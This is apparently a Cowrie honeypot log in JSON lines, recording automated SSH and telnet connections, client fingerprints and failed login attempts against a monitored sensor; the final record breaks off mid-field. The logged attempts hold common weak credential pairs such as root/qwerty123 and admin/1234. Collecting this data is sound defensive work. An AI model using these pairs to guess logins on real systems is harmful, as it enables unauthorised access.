{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:24.047988Z","src_ip":"161.97.66.49","session":"7ab2d063b884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:24.337396Z","src_ip":"161.97.66.49","session":"7ab2d063b884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:25.436687Z","src_ip":"161.97.66.49","session":"7ab2d063b884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.66.49","src_port":42750,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb48e2be7d1f","protocol":"ssh","message":"New connection: 161.97.66.49:42750 (10.17.0.5:22) [session: eb48e2be7d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:25.522736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:25.527822Z","src_ip":"161.97.66.49","session":"eb48e2be7d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:25.621547Z","src_ip":"161.97.66.49","session":"eb48e2be7d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@ssw0rd","message":"login attempt [user/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:25.902609Z","src_ip":"161.97.66.49","session":"eb48e2be7d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:26.999225Z","src_ip":"161.97.66.49","session":"eb48e2be7d1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.66.49","src_port":42758,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbd0ffaba55a","protocol":"ssh","message":"New connection: 161.97.66.49:42758 (10.17.0.5:22) [session: fbd0ffaba55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:27.086734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:27.090927Z","src_ip":"161.97.66.49","session":"fbd0ffaba55a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:27.182635Z","src_ip":"161.97.66.49","session":"fbd0ffaba55a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:27.459821Z","src_ip":"161.97.66.49","session":"fbd0ffaba55a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":52671,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fbb4db5881b","protocol":"ssh","message":"New connection: 103.86.180.10:52671 (159.203.135.109:22) [session: 9fbb4db5881b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:27.773443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:27.778686Z","src_ip":"103.86.180.10","session":"9fbb4db5881b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":53426,"dst_ip":"159.203.135.109","dst_port":23,"session":"21c8287d965a","protocol":"telnet","message":"New connection: 147.124.211.111:53426 (159.203.135.109:23) [session: 21c8287d965a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:27.960359Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:27.977241Z","src_ip":"103.86.180.10","session":"9fbb4db5881b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:28.556667Z","src_ip":"161.97.66.49","session":"fbd0ffaba55a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.66.49","src_port":39546,"dst_ip":"10.17.0.5","dst_port":22,"session":"2751b037e22e","protocol":"ssh","message":"New connection: 161.97.66.49:39546 (10.17.0.5:22) [session: 2751b037e22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:28.653224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:28.658053Z","src_ip":"161.97.66.49","session":"2751b037e22e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:28.755339Z","src_ip":"161.97.66.49","session":"2751b037e22e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"panadepula","message":"login attempt [postgres/panadepula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:28.805191Z","src_ip":"103.86.180.10","session":"9fbb4db5881b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":53434,"dst_ip":"159.203.135.109","dst_port":23,"session":"8268723c0746","protocol":"telnet","message":"New connection: 147.124.211.111:53434 (159.203.135.109:23) [session: 8268723c0746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:28.887207Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"","message":"login attempt [admin/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:29.045116Z","src_ip":"161.97.66.49","session":"2751b037e22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:30.006688Z","src_ip":"103.86.180.10","session":"9fbb4db5881b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:30.146940Z","src_ip":"161.97.66.49","session":"2751b037e22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.920724391937256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:30.305804Z","src_ip":"147.124.211.111","session":"69495c69fb15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.524214506149292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:30.539562Z","src_ip":"147.124.211.111","session":"0ca9ef6b7bba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28540563583374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:32.221216Z","src_ip":"147.124.211.111","session":"c29129c85d0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.298237085342407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:33.917830Z","src_ip":"147.124.211.111","session":"5c795e81885f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":38840,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb3e77310410","protocol":"ssh","message":"New connection: 102.211.152.138:38840 (159.203.135.109:22) [session: cb3e77310410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:34.986140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:34.990992Z","src_ip":"102.211.152.138","session":"cb3e77310410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:35.098746Z","src_ip":"102.211.152.138","session":"cb3e77310410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx3edc","message":"login attempt [ubuntu/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:35.562376Z","src_ip":"102.211.152.138","session":"cb3e77310410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:36.676739Z","src_ip":"102.211.152.138","session":"cb3e77310410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46402,"dst_ip":"159.203.135.109","dst_port":23,"session":"5816a390704a","protocol":"telnet","message":"New connection: 147.124.211.111:46402 (159.203.135.109:23) [session: 5816a390704a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:37.156746Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46414,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2c6ae4d83a2","protocol":"telnet","message":"New connection: 147.124.211.111:46414 (159.203.135.109:23) [session: c2c6ae4d83a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:37.594316Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46424,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd8f683f04f4","protocol":"telnet","message":"New connection: 147.124.211.111:46424 (159.203.135.109:23) [session: bd8f683f04f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:39.374015Z"}
{"eventid":"cowrie.session.closed","duration":30.7760488986969,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:39.731580Z","src_ip":"147.124.211.111","session":"61d4562568e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82383131980896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:40.026503Z","src_ip":"147.124.211.111","session":"134644a387f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":60794,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cef2ffdd969","protocol":"telnet","message":"New connection: 147.124.211.111:60794 (159.203.135.109:23) [session: 3cef2ffdd969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:43.059157Z"}
{"eventid":"cowrie.session.closed","duration":30.956066846847534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:43.422622Z","src_ip":"147.124.211.111","session":"3e8fddef3357","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":60810,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad0c607ab1fd","protocol":"telnet","message":"New connection: 147.124.211.111:60810 (159.203.135.109:23) [session: ad0c607ab1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:47.922526Z"}
{"eventid":"cowrie.session.closed","duration":44.408427476882935,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:50.498772Z","src_ip":"185.26.126.47","session":"54bcc22c8c9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37606,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7c49f53da7b","protocol":"telnet","message":"New connection: 147.124.211.111:37606 (159.203.135.109:23) [session: c7c49f53da7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:55.013085Z"}
{"eventid":"cowrie.session.closed","duration":30.471964836120605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:58.432053Z","src_ip":"147.124.211.111","session":"21c8287d965a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.1446852684021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:59.031761Z","src_ip":"147.124.211.111","session":"8268723c0746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":45222,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3c93af5405f","protocol":"telnet","message":"New connection: 137.184.155.248:45222 (10.17.0.5:23) [session: c3c93af5405f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:59.634078Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":9626,"dst_ip":"159.203.135.109","dst_port":22,"session":"75a0c1273b5f","protocol":"ssh","message":"New connection: 193.24.211.95:9626 (159.203.135.109:22) [session: 75a0c1273b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:05.059145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:05.070100Z","src_ip":"193.24.211.95","session":"75a0c1273b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519